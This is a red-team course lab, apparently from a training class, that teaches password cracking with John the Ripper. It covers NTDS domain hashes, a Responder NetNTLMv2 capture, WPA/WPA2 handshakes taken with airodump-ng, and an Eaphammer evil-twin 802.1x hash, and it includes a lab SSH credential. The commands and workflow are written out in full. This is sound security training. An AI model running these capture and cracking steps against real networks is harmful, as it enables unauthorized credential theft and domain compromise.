This lab is intended to provide the student some experience with password cracking. The student's previously gathered NTDS file can be cracked, and one has been provided.
Another set of hashes has been provided. These hashes are located in the Linux virtual machine under the /opt/JohnTheRipper/apt directory.
The provided hashes include a hash captured using Responder (NetNTLMv2). Two wireless network handshakes have been provided, one network was using a WPA PSK, the other a WPA2 PSK. The WPA2 key should take a moment longer to crack due to the nature of the hashing algorithm. Finally, a hash was captured from a user who submitted an authentication hash to an Evil Twin AP using Eaphammer.
The hashes provided for this lab are commonly discovered in network environments and in some cases are cracked for privilege escalation and lateral movement opportunities.
Use previously captured credential hashes with CrackMapExec to compromise an entire domain. Prepare credential hashes and crack them using John the Ripper.
NOTE: The lab is dependent on the completion of Lab L1150 steps 5 and 6 to procure password hashes.
L1150-Red Step 5: Passing the Hash to Domain PWNAGE (DCSync)
L1150-Red Step 6: Prepare Hashes for Password Cracking
To start this lab, complete L1150-Red Step 5 and Step Step 6 if you have not already.
In the previous lab, an SSH Console Session was initiated to 10.10.98.20. This lab can utilize that same session.
For reference, the connection information is presented below. For more information, see Lab L0330.
SSH: itadmin@10.10.98.20
Password: APTClass2021!
Use the password cracking tool John the Ripper to crack passwords from the NTLM hashes.
The compiled version of "John Jumbo" is available on the course Linux VM. It will be useful in cracking everything available for this lab.
First, some housekeeping: we need a wordlist.
wget https://raw.githubusercontent.com/Relkci/BadBlood/master/AD_Users_Create/wordlist.txt -O /opt/wordlist.txt
root@localhost:/opt/JohnTheRipper/run# wget https://raw.githubusercontent.com/Relkci/BadBlood/master/AD_Users_Create/wordlist.txt -O /opt/wordlist.txt
--2021-02-01 21:11:32-- https://raw.githubusercontent.com/Relkci/BadBlood/master/AD_Users_Create/wordlist.txt
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.192.133, 151.101.64.133, 151.101.0.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.192.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 31324 (31K) [text/plain]
Saving to: ‘/opt/wordlist.txt’
/opt/wordlist.txt 100%[===================>] 30.59K --.-KB/s in 0.001s
2021-02-01 21:11:32 (33.0 MB/s) - ‘/opt/wordlist.txt’ saved [31324/31324]
It is time to crack some passwords.
cd /opt/JohnTheRipper/run
./john --wordlist=/opt/wordlist.txt --format=NT --pot=/opt/john.pot /opt/CrackMapExec/cme-domain-Hashes
John the Ripper (should have) successfully cracked a bunch of passwords.
Another "cleartext" secret may be hiding in your AD too. Have you checked for the reversible encryption flag lately? Most modern NTDS extraction tools will check and reverse them on the way out.
cat /opt/CrackMapExec/domain-NTDS |grep -ai cleartext
Responder is a valuable tool to test network protocol controls.
The following command was performed in a controlled environment and is being provided to demonstrate the ease of this attack. DO NOT RUN THIS COMMAND, SKIP TO THE HASH CRACKING SECTION.
python3 Responder.py -I eth0
John the Ripper (jtr) is a valuable tool to test the strength of passwords. The LLMNR attack netted us a user hash, let's see if we can crack the password from it.
First, take a look at the credential hash materials.
cat /opt/JohnTheRipper/apt/ntlmv2-hash.txt
Crack it!
cd /opt/JohnTheRipper/run
./john --wordlist=/opt/wordlist.txt --pot=/opt/john.pot /opt/JohnTheRipper/apt/ntlmv2-hash.txt
John the Ripper (jtr) is a valuable tool to test the strength of passwords.
cd /opt/JohnTheRipper/run
./john --wordlist=/opt/wordlist.txt --pot=/opt/john.pot /opt/JohnTheRipper/apt/ntlmv2-hash.txt
WPA is still in use and relies on the temporal key integrity protocol (TKIP). There are some demonstrated weaknesses in the protocol's use as a cipher algorithm. Let's grab the 4-way handshake and take a swing at the crack operation.
The following commands were performed in a controlled environment and are being provided to demonstrate the ease of this attack. DO NOT RUN THESE COMMANDS, SKIP TO THE HASH CRACKING SECTION.
airmon-ng check kill
airmon-ng start wlan1
airodump-ng wlan1mon --essid APTDemoWPA -c 6 -w TKIP-handshake
Let's assume that we used airodump-ng to create a .pcap file and captured a four-way handshake. We can then use John to extract the key material and attempt an offline crack.
cd /opt/JohnTheRipper/run
./wpapcap2john /opt/JohnTheRipper/apt/TKIP-handshake-01.cap > /opt/JohnTheRipper/apt/tkip-extract.txt
./john --wordlist=/opt/wordlist.txt --pot=/opt/wifi.pot /opt/JohnTheRipper/apt/tkip-extract.txt
WPA2 is the most common implementation of wireless networks protected by pre-shared keys (PSKs).
The following commands were performed in a controlled environment and are being provided to demonstrate the ease of this attack. DO NOT RUN THESE COMMANDS, SKIP TO THE HASH CRACKING SECTION.
airmon-ng check kill
airmon-ng start wlan1
airodump-ng wlan1mon --essid APTDemoWPA2 -c 6 -w AES-handshake
Let's assume that we used airodump-ng to create a .pcap file and captured a four-way handshake. We can then use John to extract the key material and attempt an offline crack.
cd /opt/JohnTheRipper/run
./wpapcap2john /opt/JohnTheRipper/apt/AES-handshake-01.cap > /opt/JohnTheRipper/apt/aes-extract.txt
./john --wordlist=/opt/wordlist.txt --pot=/opt/wifi.pot /opt/JohnTheRipper/apt/tkip-extract.txt
Another option for wireless security, and in some people's opinion, the most secure option. RADIUS networks (802.1x) provided a seamless and almost continuously rotated encryption key pair between station and client. In this case, we attack the user.
Eaphammer is a great tool for this attack.
The following command was performed in a controlled environment and is being provided to demonstrate the ease of this attack. DO NOT RUN THIS COMMAND, SKIP TO THE HASH CRACKING SECTION.
./eaphammer -i wlan1 --channel 6 --auth wpa-eap --essid APTDot1X --creds
Many tools do not produce usable or crackable materials on execution. Review the evil-twin AP attack and Eaphammer output from the previous screenshot and with the next command. The text has the important component parts, but is not crackable as is.
cat /opt/JohnTheRipper/apt/dot1x-hashes.txt
cat /opt/JohnTheRipper/apt/dot1x-hashes.txt |grep jtr |tr -s ' ' |cut -d " " -f4 > /opt/JohnTheRipper/apt/dot1x-hash ; cat /opt/JohnTheRipper/apt/dot1x-hash
Next up on the crack list is the wireless user's NetNTLM hash.
./john --wordlist=/opt/wordlist.txt --pot=/opt/john.pot /opt/JohnTheRipper/apt/dot1x-hash
This completes this lab. Continue on to L1160-Blue